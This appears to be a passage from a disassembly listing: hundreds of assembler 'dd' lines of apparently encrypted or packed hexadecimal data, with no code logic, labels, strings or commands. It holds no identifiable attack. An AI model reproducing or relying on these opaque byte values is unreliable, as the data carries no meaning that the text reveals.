		dd 0B420B52Dh, 65F1B73Bh, 347AA66Fh, 710D0038h,	51B6B79h
		dd 9A4C2E7Fh, 0D5BD315Ah, 2E93EC30h, 0B6F7C446h, 3A9C8489h
		dd 0C76157D9h, 0CB31108Ch, 45414E42h, 0E024A12Fh, 0D9BD1F63h
		dd 0EC759319h, 0CEBE4A3Fh, 26A250C3h, 0DE1F98BDh, 0C4609935h
		dd 48BCBE58h, 2AF7E9B1h, 0D8CD1B90h, 55F92841h,	17BBD2D5h
		dd 41C5BA76h, 18B259C1h, 0DBD992ADh, 55D0676Eh,	56E3C567h
		dd 552858B9h, 384FE12Eh, 5AD12882h, 0C540C1FEh,	23DE120Ch
		dd 76E9D704h, 3A48E6ECh, 86050325h, 0E1BC1350h,	63E96BF9h
		dd 181A2E86h, 0C5D27EBDh, 6B5CA8FBh, 0CB704048h, 73788277h
		dd 39243A34h, 189EA2FEh, 35161083h, 657E31D6h, 72CCFC7Ah
		dd 7FEB27CBh, 96847888h, 0BE16857Bh, 525D29B7h,	4D5F6909h
		dd 0D400D789h, 0A654E963h, 12C0FAFEh, 0F87602F2h, 1DD89765h
		dd 0ED2D342Fh, 85019D1Fh, 0BB2F57E9h, 2DA68E44h, 5A8CEE56h
		dd 8542B71Ch, 245AD0DDh, 87A5B7D6h, 92AD5651h, 5A7D54A2h
		dd 0A0F69FB2h, 0E04449A6h, 9BB82B91h, 95332DE4h, 2AF555A1h
		dd 2282708Bh, 5D979FB2h, 4B0B0934h, 59DCE7E9h, 0A3C24918h
		dd 0A0B8B756h, 0A2664F21h, 1F51095h, 0E7A68C50h, 0B98FF784h
		dd 47F012EEh, 8F3FE331h, 36833D02h, 272E7101h, 42C29989h
		dd 0B867DBDDh, 40B328AEh, 2BD43C69h, 3570EEB0h,	58C8F69Fh
		dd 3AE14D99h, 64A220BDh, 0FBDD814Ah, 2D923E24h,	0DEFC4EA8h
		dd 0E3DD0E6h, 0F0215A01h, 0AE8C15Eh, 6DAA3Eh, 0DF54D702h
		dd 0B5EE1296h, 0F4B9596h, 6012026Ah, 0CBDFC029h, 0D33F01CFh
		dd 378C0F34h, 0C9A82B7Ah, 8F72F087h, 16A8E431h,	85010741h
		dd 739D55E2h, 5992CCE5h, 58BF5C8Ah, 400940A2h, 0A84CD69Fh
		dd 34C83971h, 73566025h, 0A880CC13h, 285E6325h,	1D911D1Bh
		dd 405A0875h, 0A5F9D857h, 360BCE9h, 3828EF43h, 94765EDEh
		dd 8D08160Eh, 0F13D7A1Bh, 0A83865FDh, 1715B7C4h, 20CD2DFFh
		dd 0D8B50D05h, 3D7395D2h, 0C910F4CBh, 0EE68B9E8h, 9C893B9Eh
		dd 0EF8A54F8h, 4D70786Bh, 42DB73BFh, 90F73670h,	5ED8DE7Bh
		dd 8FABA921h, 400DC558h, 0F21A7C7h, 33699D82h, 0E1748718h
		dd 69589468h, 1FF9D219h, 0E902BA25h, 8DE1C188h,	483B9D65h
		dd 92ACF965h, 10C0866Dh, 7A85D697h, 97A6525Dh, 8434BE5Dh
		dd 0ACFA9D82h, 10CC5B90h, 30BD7B4Ch, 31FA43F2h,	0B0FA5DEAh
		dd 53E4494Fh, 9CD95DF4h, 0D154743Bh, 8A5704E6h,	0FF3150FAh
		dd 0E0003E2Dh, 1A555494h, 98FD0128h, 0D5290801h, 0EAA06F5Ah
		dd 97F7E65Dh, 806B537Eh, 6C206577h, 0E9DF0B87h,	2710F35Fh
		dd 37268B89h, 68020A9Bh, 7F769F5Bh, 9D357900h, 0F6B83A60h
		dd 33A2E030h, 0F23D67F6h, 597BE61h, 0BE472703h,	165AE109h
		dd 0DBE927F9h, 159BFC2h, 136273Dh, 0CA9689Dh, 7A56EE4Ch
		dd 610A3A66h, 0C14B5E3Bh, 6F3BABAEh, 8F9ABE49h,	7ECB1E0Dh
		dd 59EDA5Bh, 7161C7Ch, 47A5BB48h, 27E38AD4h, 625DF8E9h
		dd 0DD595D7Ch, 4EE40549h, 0AA28C844h, 53C1998Ah, 2A01BD55h
		dd 0F222D444h, 0E9A168FBh, 5A6E8F59h, 0A1F5AFBDh, 0E990586Dh
		dd 2A171334h, 0BA3384FEh, 0E985B0A2h, 2FF2A1B1h, 4309531Eh
		dd 9612C667h, 2E558B60h, 0E150A756h, 0BADB958Eh, 0EE69CF8Bh
		dd 2E517CCFh, 8E3846B9h, 0D6A407B0h, 2F58E889h,	570742BEh
		dd 657A9D7Ch, 97B0C28h,	55EEBB7h, 0CCE017C1h, 48208E6Fh
		dd 0BF1B0533h, 0B482DC73h, 8D0F0014h, 0D19567D4h, 371F88D3h
		dd 2DD58905h, 0ABDFD4EFh, 8B149481h, 3C580102h,	2597EF20h
		dd 0EBFD5456h, 0D6EA27B5h, 0BAE609A0h, 4A487829h, 932D3A7Eh
		dd 20FA0EBEh, 0ABCAC022h, 89B9074Ah, 0B215C312h, 50F94065h
		dd 58096842h, 8310C201h, 5EA8CD9Dh, 0C895D98Eh,	0E2FCB9Fh
		dd 8775B960h, 9CD1F7C5h, 3D5B5F07h, 615A6EA7h, 8B686A3Fh
		dd 5158C2EDh, 6C1969BFh, 2DEB2FC2h, 0E514AF8Eh,	0D97F4D1Dh
		dd 65E32B14h, 0E7D29Ch,	1021C0D2h, 2D34485Bh, 81BF0DBBh
		dd 0A01493BAh, 0B4A2A28Bh, 217214FDh, 11BC6053h, 0AA5B0782h
		dd 8E14B468h, 0E9535006h, 203D18AFh, 579559C8h,	0FFC91C21h
		dd 0E8B9C8FEh, 171736FAh, 31FACE89h, 8E38E9D0h,	0FF575B7Dh
		dd 32E2CEB9h, 84A94A7Fh, 0EE7CC049h, 447D304Ah,	0B9D95F8h
		dd 1C723F5h, 0DE7A1CF1h, 91DA447h, 59579C9Eh, 8ACA2E97h
		dd 0BBEA2172h, 7164EF27h, 0E8D50B24h, 119C5C64h, 0AC065ECFh
		dd 19BEA048h, 0E68331Ah, 0D6B0EC9Ch, 0F2122977h, 0EF43FCE9h
		dd 9A52D388h, 2D975EDAh, 80F45D14h, 5216C501h, 12E996B6h
		dd 0EBB4852Fh, 357EFCB7h, 0BB1CF617h, 0CCDE3C1h, 3A9ED5E1h
		dd 3F3D3FF5h, 0CDF9E693h, 0D68F51AEh, 0C313932Fh, 6A2AE309h
		dd 0CE6AD7EFh, 7897Dh, 80641FC7h, 51E9104Ah, 0F0B80211h
		dd 0FD423203h, 5608A948h, 0CA1D68FEh, 59C0941Ah, 0D732F181h
		dd 93AFD29h, 1483311Eh,	0D10179E5h, 0BE5430C3h,	0C42A293Ah
		dd 0C081905h, 586C97C1h, 1EA5D82Dh, 7083227Fh, 2BF70B73h
		dd 0A99175D7h, 7628386Ch, 0FE876825h, 0BB37C2A4h, 0A9E5750Bh
		dd 0FF1ABFBBh, 6062908Ch, 0E52D4422h, 9E260717h, 520F0089h
		dd 641EE65Fh, 685B0A34h, 42370AF3h, 0FA653994h,	2C3830Bh
		dd 9422E1Dh, 0C6F90255h, 8803C77Fh, 8816CDF3h, 439EBC09h
		dd 0BEECED59h, 772168C2h, 2B2E5248h, 0A708EA93h, 0B0066B60h
		dd 660242D4h, 0B0505152h, 79D97F91h, 75C68889h,	0F9A6410Eh
		dd 7E20865Bh, 7240095h,	0D0F6C0FEh, 30261304h, 245371C1h
		dd 0E1EB678h, 0F10996EEh, 680464E8h, 0BD295D80h, 0CB4A33D8h
		dd 65F57852h, 9309FB6Ch, 0E82F125h, 2DD05FFBh, 20976C97h
		dd 8EFD0AA8h, 3FFEDB4Ah, 93250FA8h, 92205B71h, 6485AE5Ch
		dd 2FB36F02h, 5DD442DBh, 5E9D327h, 871E88D4h, 0E281DA01h
		dd 105539BEh, 9FE0C5FFh, 50B8045Eh, 0EE241E6Ah,	0F480D01h
		dd 472B7E8Ah, 0B63B790h, 5FAACEF5h, 0BBEF1610h,	4E15F0CAh
		dd 0BD028E72h, 42F64D5Eh, 1565F25Fh, 0F6502AE9h, 9F7EDB05h
		dd 65CC1F63h, 0DA290883h
		dd 29F569BAh, 4D320089h, 60528F0Fh, 0BEF58D16h,	5C16956Fh
		dd 0AB97A4E9h, 417663h,	9B69EE97h, 0F729A75Eh, 0FEC2E4E9h
		dd 7AF0117h, 802BDB5h, 98B5EC5Fh, 7A445D00h, 59DD56C9h
		dd 0BB510C8Ah, 29ECEB67h, 68363106h, 25213D6Eh,	0B95FE687h
		dd 0B52E2D30h, 27EED439h, 291D7600h, 53E952C8h,	4F9FB163h
		dd 0EA215E65h, 0C428509Ah, 2D5D000Ah, 543F45E0h, 0AEC0D029h
		dd 68F11F4Ah, 0A9EE2FE9h, 246FD774h, 44FABFE0h,	0ABF7869Bh
		dd 1D4111C9h, 59A52A79h, 1008D279h, 96D52785h, 0B189541Bh
		dd 0AD5C97C3h, 7046E906h, 0E6FD7733h, 82B207h, 0BC2D59CFh
		dd 553773Dh, 0D23CA80Fh, 695F416Dh, 0C43E237Ah,	28071F48h
		dd 1B44F511h, 0F08CACAFh, 97FFDD1Bh, 525039DFh,	315D8h
		dd 0CA810D38h, 76B1C11h, 20F84A4Eh, 16794D4Ch, 0BD5A5B0h
		dd 0E47E5375h, 8851FD58h, 22CBCADDh, 5163D7BAh,	41D020D2h
		dd 5F69BB07h, 29A56C4Ch, 0BD3FBFB1h, 57D78464h,	0DBCAC2FCh
		dd 8100AFBAh, 0E038D4C7h, 0EF003176h, 0C8A71472h, 0F0E9F989h
		dd 5C52C58Fh, 1203E756h, 39EBF1C8h, 0BAF2FFFh, 24D09C00h
		dd 50C95995h, 8B884DA1h, 0EC3EE116h, 6657A05Fh,	5B204C5Bh
		dd 4FBDF32Ah, 0CE54B75Fh, 0B109A3Fh, 0EB8F75F2h, 9770984Bh
		dd 0BE154B7h, 0F45A1E15h, 0F96D84C2h, 0E1EDCFEh, 40618103h
		dd 6984AF27h, 11BB5BE3h, 100408DBh, 5F010DF9h, 920C4414h
		dd 482CE10Bh, 2440230Dh, 427833B9h, 20BFC89h, 57B7ACBCh
		dd 8D833498h, 0E92FDE95h, 6848FD66h, 0A3BC5AE8h, 6FEA01B1h
		dd 68C4DAB2h, 0E9C9D1A0h, 300E250Fh, 615F3FFAh,	9F0382A3h
		dd 8B4F792Dh, 0EEF8ABC4h, 689561B9h, 805B0030h,	0E5C01AF5h
		dd 44979803h, 6509C586h, 85AE026h, 820B025h, 54A21CC1h
		dd 0F77D2BECh, 2687A25h, 1F1E94C3h, 91DA2FA5h, 61F785B9h
		dd 7A316105h, 0B0A524D9h, 1220AAD2h, 0DD313E49h, 24E49F6h
		dd 0E5B75300h, 0F8287A2Ch, 34900474h, 7EB8E915h, 56E01EC5h
		dd 0DBDD810Bh, 66CA58Bh, 7C82E74Eh, 2CDBFBADh, 0DB072FECh
		dd 57F4520Dh, 14900150h, 0F6256C09h, 2586743Ch,	275B44DFh
		dd 83E25CE9h, 0A188FBFDh, 69410BD1h, 0D4211E9Ah, 84CB27E9h
		dd 0A9174271h, 536A4081h, 0C4DB57C2h, 33627DA5h, 86C4D357h
		dd 1C4868E9h, 7B37FDE9h, 0E505EDA3h, 0C2304F34h, 0EC5F28E7h
		dd 0C7E59022h, 2780EB16h, 0AFC6EA69h, 0F4A1168h, 85AB8D4Bh
		dd 67A2AFB1h, 0C1F001D2h, 0F4D011A9h, 0EC4028E9h, 6CC63980h
		dd 0BF6FCE93h, 0D831A4A5h, 843F6BF5h, 0B1B6ABC3h, 0A776FA24h
		dd 0D12037F0h, 0E3892859h, 0B7ACA0DFh, 0EC64950Ch, 1140CF0Bh
		dd 0EEDE40Bh, 0FE4CCC80h, 97208A74h, 10EB0506h,	5EFD63CEh
		dd 0B8F4BC52h, 1C623AE9h, 0C101198Dh, 0D40807E6h, 2D98D01Ah
		dd 233D1FFDh, 60172D6Eh, 0A097BF4Dh, 0E24F70C7h, 4F75A87h
		dd 0E867B047h, 294EC640h, 20C10F7Fh, 0AF72064Fh, 3CEACFA4h
		dd 0CE0636Ch, 34C71364h, 0CC278098h, 0F96C5DFFh, 772DC37Ah
		dd 1E9783Ch, 6D3370Ah, 2F3FD9E9h, 1C9E68Ah, 97B26477h
		dd 0D5252C7Ch, 1F90C6B4h, 0E3B33629h, 7769D900h, 0FA574502h
		dd 0E8054E94h, 3A568320h, 63C2A7DEh, 267BC5B0h,	0E2D4A5D1h
		dd 0B2DA02A5h, 89977617h, 0EA712906h, 0FEBC874Fh, 0C406DE19h
		dd 0F54C2118h, 1501EA5h, 3A7C5C9Fh, 871AAFCFh, 7FE9C2EFh
		dd 0E6CC508Bh, 0C30514Fh, 0B5A0FDE9h, 0F8AD5DDBh, 58C129EEh
		dd 3268844Dh, 74F2D83Ah, 25A66712h, 4A9DC0Bh, 0B1EF5502h
		dd 5D080357h, 70B41E0Eh, 0A0012860h, 231CD008h,	4EFFE912h
		dd 73C554CFh, 3A2CFA77h, 0C789045Fh, 0AA844FE9h, 0B3822A27h
		dd 510E7243h, 0C8FFE906h, 5E46CB81h, 212F837h, 0D6426DF3h
		dd 31AF7445h, 0F17F8B5Ch, 12BDC455h, 1160602h, 5E5DEF09h
		dd 69820C4h, 51D3A76h, 0F7207A29h, 0D5A4A240h, 2E5B6C69h
		dd 42553E6h, 93D4C4F5h,	0AFDE0FC4h, 1475AFBFh, 0E9581226h
		dd 3038A0E1h, 1AF0FD7Bh, 841FED58h, 660112A4h, 3A587A68h
		dd 0C40F67BBh, 3A128151h, 981F06F4h, 329A411Bh,	16AB4E75h
		dd 97ADBC8Ch, 0B09BC7AFh, 0CEFE40EEh, 3054514Ch, 5BD8399Ch
		dd 147E0005h, 422D276Fh, 0EF2447C1h, 0C0136B21h, 0ECE39D92h
		dd 4BB2A1D2h, 1C1A3FDCh, 252DF4E9h, 0A8D845DDh,	0B6549D28h
		dd 97E831F8h, 0AA4CEBD1h, 0C2099710h, 685097D4h, 0BE095451h
		dd 0A9024F4Ch, 6BCB85EEh, 0EE94FAD1h, 9729BB2Bh, 0F97A9961h
		dd 0A4F286C6h, 65823137h, 1942D0Bh, 457E5B5Ch, 0AD5184D6h
		dd 0A8E9E10Ch, 0BDBC0C2Ah, 67283DA6h, 8E0BA24Dh, 0D569E350h
		dd 75E5BD20h, 64769516h, 34039CF2h, 8950174Eh, 0E9C290E8h
		dd 6E7D5C2Ch, 3F5D0292h, 60405313h, 5A044A9Fh, 0E33E93Ah
		dd 0AE17C8ADh, 8B28BF5Fh, 17138419h, 6A77FEF3h,	0F514D5B2h
		dd 528B6879h, 0CCB14B44h, 476A5A0Fh, 0BBDE38D6h, 48904A64h
		dd 0E177A768h, 2639BF2Ah, 0FCBB5889h, 4536BD7h,	270EBEF6h
		dd 0ECA0FA5Dh, 9F63706Bh, 33D9B0F4h, 5C79C204h,	3A8C4775h
		dd 0D01DA738h, 21E1272Ch, 54500209h, 56686176h,	5674731Fh
		dd 0BB531F5Dh, 7ED41C81h, 0E12AE6E9h, 12F62EA1h, 1D9B2C17h
		dd 8B5B7A53h, 9BE84A79h, 0FC0F7D13h, 45CBA12Eh,	7A2AB67Bh
		dd 2DCE4949h, 7200C95Ah, 5C38213Fh, 0B4BB14A8h,	4A59E917h
		dd 0D0313D39h, 0F1ABCEA0h, 3C41C750h, 0FF3AED2Eh, 0A1847525h
		dd 0ABDB959Ah, 0FBD250A3h, 0D5A24262h, 1E77C442h, 53CED25Fh
		dd 62A804DDh, 2D139018h, 1E1F2237h, 4813D809h, 0A6AFE185h
		dd 9083208Dh, 213560A3h, 95329E68h, 427B7B7Bh, 0CA4E92CEh
		dd 0A538A366h, 8A1EC554h, 0B8BB5A64h, 0B151D805h, 0E1C0ABDAh
		dd 3A52C9FEh, 0C6ADACB6h, 518AC2B9h, 35D17EC9h,	74E97E8Dh
		dd 0F614137Bh, 19FDA2FEh, 0D03C12F4h, 318A0FF8h, 0C8814FC2h
		dd 0D42AA5FBh, 3CCA828Eh, 0D742107Ah, 95C558DFh, 79B705D0h
		dd 617D6B9Fh, 0E06E29E3h, 3EF359E5h, 5BBAE7D8h,	3A2CABD1h
		dd 0B584BFD5h, 505F05Eh, 502FD080h, 5BD1E3A9h, 0E9FD0F5Ah
		dd 0CC559F8Bh, 0B554B50Ah, 202EB3F1h, 186802CBh, 2D1B1462h
		dd 66530796h, 0AD480D5Dh, 4BCB06B2h, 28A2B46h, 37F451A2h
		dd 5378EAC1h, 1A14EC00h, 0E9DAF72Eh, 9D19909Fh,	4573B3F7h
		dd 0FF2AF8ACh, 6800932Ah, 2E84692Ch, 26002558h,	0F2BB254h
		dd 9E3D188Bh, 2328809Fh, 0D0317C36h, 0E9611B99h, 4D2A5D68h
		dd 52FA579Eh, 0A9F75CC0h, 9F2C469Bh, 0E9C1507Ch, 307920EFh
		dd 3D8E31CBh, 8905BC73h, 0BBD22042h, 5C17710Eh,	0C28641Dh
		dd 87C10406h, 0BF610220h, 0CB8EECA8h, 0EE5E76E4h, 0AFED5C9Dh
		dd 1E52C22Ch, 0FC3FF112h, 0B353E087h, 30899834h, 0DF5272Eh
		dd 949DFEF0h, 0B735FA98h, 0C5EEEE0Fh, 285831EBh, 30E1BF0Eh
		dd 0C90B3221h, 0C4CFA0Eh, 6CD561D4h, 2916C6CCh,	7AB4F47h
		dd 74FAD8D7h, 843315DFh, 0FDC4EB31h, 0E6820F81h, 4C085F82h
		dd 64F50279h, 2032BE19h, 4585F0Ch, 0BA2115E5h, 0B4E079F8h
		dd 255AB697h, 0BA4985h,	92C68088h, 0A74D23E9h, 97253BE5h
		dd 7A9E0E2h, 0DE280C0Fh, 54408D49h, 425A6E68h, 0E613F8F3h
		dd 40E3E304h, 5A5EC0A5h, 0BE17C8B3h, 0E1204427h, 6161EF6Dh
		dd 0C93DE833h, 77D3792Ah, 2014B054h, 0BA0035D1h, 31BF749Bh
		dd 5B8C281h, 0E90BCB58h, 7BE8A146h, 8984ACA9h, 0A2CEECAh
		dd 74344F99h, 0BA5209EAh
		dd 38B4A95Eh, 1A195ECh,	1D9296CDh, 0E793FEF6h, 68086234h
		dd 456C5D14h, 7000964Ah, 0ED8040B7h, 0EAFDE0D8h, 62FBA0C5h
		dd 6C599FF9h, 0B878C28Ah, 28905367h, 0B512DF11h, 78847180h
		dd 0F5C6DAAh, 82175FF8h, 2348AEAh, 860945BEh, 8954006h
		dd 1A5B245Ah, 0B2542D76h, 4996F525h, 70026816h,	407D69CCh
		dd 0C24E0844h, 0EABA81AAh, 0D33F20E7h, 5FA51996h, 8C0F6BC0h
		dd 0FF25072Ah, 5B063138h, 0F3F960FBh, 3F04E4C1h, 6106E998h
		dd 9E44EDAFh, 32E94DD3h, 0C730FE5Ah, 181C6F09h,	368829E9h
		dd 3D90D328h, 0C380CB0Bh, 1B135D56h, 2264C7ACh,	11D03CE9h
		dd 8CF0599Dh, 0E1BBC003h, 8C1ADD01h, 4E856832h,	0EF6C8C3Bh
		dd 56724105h, 98BBD3F7h, 8718DF10h, 4CCC5FFBh, 8C51638h
		dd 0E573004Bh, 48779A3Eh, 2716BD90h, 11010283h,	31EF0824h
		dd 3B5A907Eh, 3190D4FEh, 649FAB72h, 0C164BF70h,	0DC195B2Dh
		dd 0B6AC07Fh, 0E6798177h, 5C05CC90h, 8D84830Fh,	0FD7CD9EEh
		dd 0F408138Eh, 0F05675BBh, 6B4F0173h, 58F18DACh, 5BC27456h
		dd 979A9490h, 22FD6CB7h, 0B6D77B1Ch, 597672EFh,	0AF9BB0DFh
		dd 837782F7h, 58203070h, 0A36FEF97h, 685801B7h,	450947C7h
		dd 5AF002E4h, 0AFF8A516h, 139DE916h, 7E6572AAh,	10251DF6h
		dd 0C858163Dh, 1408EACFh, 32D62F26h, 0A83C4B78h, 9D94AB97h
		dd 0FF5AB0FCh, 0CD1F6F50h, 62572628h, 0C3E56090h, 17D4B64h
		dd 6F534C60h, 8B0C8007h, 1033E37h, 0A9E8B7EBh, 984F48E9h
		dd 0AE4A3FE3h, 3CD53C1h, 32228E7Bh, 544CD4F2h, 0B8918C8Dh
		dd 0D24878B1h, 2BAC81C0h, 0E8403950h, 5BF5573Dh, 6710EF5Ch
		dd 5505108h, 9BD0EE14h,	0C4FEEEA0h, 0FC5D304Eh,	780DC93Ch
		dd 6259957Eh, 505189h, 635EA085h, 92C9074h, 0EA42AB36h
		dd 89950557h, 481062AEh, 572A40E0h, 19F30580h, 17475D42h
		dd 0AD8A7E44h, 5671EF4Ah, 0B1395A7Fh, 8C868C2h,	0E908B05Fh
		dd 0A7A75F25h, 89FE4E41h, 0ED454348h, 3E5CF03Bh, 0D812DDD3h
		dd 63C95DCh, 0EF814B75h, 0C9BF0D91h, 13757ACAh,	2F9BA500h
		dd 0F722138Ah, 0E3801AD0h, 9D8CDA7Fh, 0B0651076h, 0C8317591h
		dd 9C10599h, 13CFE9F9h,	0BFAF2D7h, 259343FFh, 0C5575608h
		dd 2378693Eh, 9F567729h, 0F22D5F97h, 0E2ABBC41h, 0A3C1EF15h
		dd 0C81136D9h, 0E00AAD87h, 376AE8BDh, 94226411h, 0F35BE01h
		dd 4E62F781h, 0EC5E9067h, 6153A2DFh, 476FB45h, 1EC4680Ah
		dd 0C2298B99h, 0C372B1FCh, 386389B0h, 40B50E83h, 2CD2E530h
		dd 7A684E48h, 0C2A80F4Bh, 1C91E2E7h, 9D14BC7Fh,	5AEED6C8h
		dd 6EC98DC4h, 0E7D9FB12h, 0BCE9D450h, 8099BE90h, 399CFAF0h
		dd 3C028E2Dh, 0D829147Bh, 5B078705h, 304C2260h,	2D1ACA1Eh
		dd 1D7E2507h, 0EA70E658h, 11FE9539h, 0BD0B0678h, 7BE18AAEh
		dd 7BFDEECFh, 6259BCF0h, 33EBF710h, 8BF19876h, 5EB857E6h
		dd 9820D93h, 2AF48FF2h,	74AD85B1h, 0D8750872h, 4E7AF789h
		dd 0EB8800F0h, 85B905B0h, 721FC81Fh, 0A8F0E1C1h, 513070D3h
		dd 0CEF00979h, 63243054h, 3517511Eh, 21380375h,	61BB5A1Eh
		dd 49BCF3E2h, 0B564E4B8h, 783295Ch, 16C63169h, 6BE2403Bh
		dd 9798241Ah, 0E91D3E96h, 0B4A06D35h, 124C0B93h, 76957690h
		dd 39D3A446h, 5936749Eh, 0E705122Dh, 82C4F4F8h,	0D5172C5Fh
		dd 0B73E99AEh, 3B932610h, 7F0C8661h, 13DA0698h,	768311E9h
		dd 0EC880F0Ch, 0BF5BB06h, 18604524h, 0B3933DD0h, 548A7D09h
		dd 0CEF1A7E9h, 0A062FD6Bh, 241FFBD5h, 8BF52F01h, 0BD7D94B4h
		dd 0E9052D7Bh, 5BA622CEh, 30275D7Ah, 0AF5A6616h, 0EB80D703h
		dd 95062D1Ah, 0F208C45Eh, 0BFD82D39h, 3D2DC631h, 2224214h
		dd 820F5694h, 1C361578h, 5E35280Ch, 0BA7A85EDh,	0E917E4CFh
		dd 0FE4DC523h, 420CBF98h, 49B802AEh, 0D722EA21h, 91553B0Bh
		dd 0D97A5FDCh, 14E63A12h, 0CD98E909h, 920FF359h, 55497Dh
		dd 67784A0Ch, 7C29275Bh, 95D04CD5h, 0F7905970h,	760862B1h
		dd 13591C4Ah, 0CC86D1F3h, 0CC892A34h, 60DD8920h, 0DC35F825h
		dd 54785066h, 0C63A7100h, 605F0D2Eh, 2D730136h,	7FF67A5Eh
		dd 6FB77B01h, 0F9F0661Ah, 68649900h, 0F9A112FEh, 290D8160h
		dd 4BA8E9F7h, 2858E151h, 0E5C39171h, 505131EEh,	0FB310188h
		dd 1235C1FDh, 0FA228B01h, 0D96ED7Ch, 3CEEF2F3h,	4765E14Ch
		dd 28522C24h, 2B3DCBAh,	0FFBB80Bh, 24DC7F1Ah, 1F40D01h
		dd 0FC7E7663h, 0C8A91651h, 0AB359820h, 0BECE4BB7h, 9E0EE188h
		dd 0CD5A2FA3h, 20BF1AF2h, 5E34C2CEh, 25076A4h, 57122ACAh
		dd 2957E90Bh, 0E91B8E64h, 0AC895CB4h, 42ED1CD0h, 5A069C5Ch
		dd 2992B1F1h, 0D22734A2h, 8D912C46h, 0E3052116h, 22BE3035h
		dd 47E75194h, 2164B509h, 0CD7B86F2h, 0BBFBB507h, 0A4188539h
		dd 0E9E80C21h, 5C34E464h, 0F9A9664Ah, 250F5C9Eh, 967096D7h
		dd 41F2175Ah, 260ABE99h, 0FD2930CBh, 0C2E54758h, 5DBA3788h
		dd 4C88C947h, 40501CC5h, 3D2C62B0h, 2DFAC388h, 0E5F8374Bh
		dd 0D3CACEC3h, 5C9DD39Fh, 41113451h, 2A422796h,	16EF01C5h
		dd 3798FFF6h, 95C2BAEEh, 2D80BB88h, 8A49BCF7h, 867155D2h
		dd 208275A7h, 54F6A875h, 0EA684663h, 37B54106h,	89F9F7EFh
		dd 97DBE58Ch, 97750842h, 646BB80h, 483140F8h, 0A2D24D3h
		dd 0ACEDA5A8h, 0AABC2A8Bh, 445AFD52h, 43BC09FCh, 0D9C68485h
		dd 0AF76FB23h, 0DECBAD64h, 45116803h, 454A3878h, 86060116h
		dd 0B6D5F3DEh, 0F71C09F8h, 325BE00h, 1200617Dh,	1E1BFA0Dh
		dd 0AE0C101h, 1CA2E905h, 78ED87B7h, 0B2650723h,	467DC6E6h
		dd 9AA97980h, 4A3C795Ah, 0BB34AA54h, 991F48FBh,	0C9FCCF93h
		dd 601FBE4Eh, 346EC92h,	7D76EEC1h, 9BDC9F40h, 7A5D5371h
		dd 5CEB5820h, 24C524Ch,	1D28FD07h, 20FDFB1Ch, 190B86EBh
		dd 4DD2BF0Fh, 495E0882h, 411E2D88h, 415F77A1h, 223E4F5h
		dd 8BC05D80h, 10CEC415h, 5BB9EFEh, 58E128E7h, 695FC7BFh
		dd 290A6154h, 0BD1387EAh, 0EBFF57FBh, 0E9122D8Bh, 434EE063h
		dd 205292ECh, 0C4517F5h, 26BB8AEFh, 5F9E96EBh, 0F3BE15D3h
		dd 90E41212h, 4046E7EFh, 5E4C748Dh, 2CE4C23h, 3CED71B9h
		dd 10D0FD29h, 3A081C01h, 0E7B6E91Dh, 680B7A23h,	0AB060E1h
		dd 5F252983h, 90E4D579h, 0A90B6898h, 0DF2FC10Ch, 0E65C2398h
		dd 0F86D6E27h, 17DCB500h, 0DC35F142h, 6CFFC9DEh, 0CE5B4EB3h
		dd 599D1043h, 0FCCB057Fh, 46C8414h, 13A69197h, 2B6F2CEFh
		dd 0A788324Ch, 82F8ADB4h, 8DD1EE4Ah, 55DD3D96h,	824CDC20h
		dd 1211C077h, 0EEC85931h, 0EE142497h, 5F25A1A9h, 68EBBC59h
		dd 28B892h, 0F7607657h,	0EE5E05D0h, 0D8C81027h,	0A7F1B7C8h
		dd 0F16FE905h, 545AF309h, 0A390B82h, 5E83C22h, 0CF422374h
		dd 9429C62Ah, 9A8B2013h, 20CB98BCh, 8013B917h, 0F4AF19F3h
		dd 0F094B08h, 0A3CA5481h, 4A0EE527h, 0C49F940Bh, 0B99517B4h
		dd 950BA472h, 29A6C09Dh, 0AE2D4EC8h, 1CB82F15h,	0EFFC1D47h
		dd 0CB560F0Ch, 7E27D21h, 20C080Dh, 0E5555814h, 0B3FB8834h
		dd 0A2ACFF2Dh, 0E54D5D78h, 13C538ADh, 2F094BBAh, 55074A1Eh
		dd 5501C356h, 0B8228BBDh, 8573FA96h, 0B529EA4Fh, 0DB7A2C7Ah
		dd 2C583340h, 0C0875368h, 650A23BEh, 0DFEC085Eh, 3CFD6873h
		dd 8DE9090Bh, 0DE9428D8h, 7B2F2FBEh, 1E870991h,	6F17DE30h
		dd 0DE3E6FDAh, 52462D10h, 0DBC3D880h, 893DE597h, 537D8E59h
		dd 0EDD21629h, 0E3DC1A0Ch
		dd 7E90DD4Fh, 0B225850Fh, 4EB6D76Fh, 0C1B7BEBh,	1D9DA08h
		dd 0C260F068h, 6C23F9FFh, 0C82FE936h, 275746D4h, 871C016Ch
		dd 4745A3B0h, 0FD56EB02h, 0BE15BA73h, 285B7FA4h, 5C05AADh
		dd 2D77484Dh, 5BD8012Eh, 1040BE59h, 0BF5EF029h,	0BB4127F8h
		dd 362BF92Bh, 5F25AFD0h, 8E4BEF05h, 9FE6D8DBh, 5B69E271h
		dd 0E7570A28h, 0FBB816B2h, 8C580A33h, 0F7C05DECh, 0AC32E9F1h
		dd 57B7E9BFh, 0AB5B122Bh, 2927A9E7h, 685E54E0h,	593CBC2Dh
		dd 0E9D58231h, 515626CCh, 0DDD217C2h, 61C2DF93h, 0B40E1AFEh
		dd 3E30B5Eh, 87F3C352h,	0C3C85135h, 759DB831h, 0FE4EC438h
		dd 902981C0h, 0A20C01A8h, 4FE28AE0h, 0C41EECA5h, 0AA25512Bh
		dd 90D8D7A7h, 4A9A5E59h, 0D42E7B24h, 6A2FC041h,	0BB1AE06Ah
		dd 1DFA2B16h, 0CAF183AEh, 0D90B2241h, 591742EAh, 2549BA7Dh
		dd 16EEB281h, 6C9AAB0Dh, 0EB034E48h, 10362941h,	48148DE0h
		dd 0B207E9Ah, 0ECD69F07h, 59A6B461h, 5171BA3Bh,	46C6EE9h
		dd 5117543Bh, 78C16153h, 708A260Fh, 0CE615941h,	0D310F939h
		dd 0E6881C0Ah, 5807F19Fh, 6D2CF20h, 837ED613h, 0BA4EAB4Ch
		dd 0C21C82D9h, 55D35Dh,	6819B8F6h, 77258939h, 43ECF120h
		dd 0FE05FF7h, 0A54FCD8Eh, 0A1A133EDh, 68108B17h, 3A647DD1h
		dd 0CCB55103h, 985FED80h, 160FBEE5h, 570BEC86h,	1492EF2Eh
		dd 0C8E47F5Ah, 9A4F2505h, 63EE310Dh, 0E89CE937h, 0DA2D25ACh
		dd 0E27E9FDAh, 6E3FBDA0h, 0AA8226B0h, 8437742Fh, 0D20211E9h
